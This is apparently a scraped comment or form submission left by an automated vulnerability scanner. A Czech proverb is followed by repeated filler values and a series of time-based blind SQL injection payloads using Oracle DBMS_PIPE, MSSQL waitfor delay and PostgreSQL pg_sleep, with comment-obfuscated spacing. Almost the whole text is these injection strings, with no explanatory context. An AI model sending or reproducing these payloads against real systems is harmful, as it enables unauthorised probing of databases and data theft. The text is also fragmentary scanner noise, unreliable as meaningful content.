Kdo nemá rád psy, nemá rád lidi.

123456

123456

123456

123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',2)='y

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n

123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('c',2)

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('q',0)

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456

123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/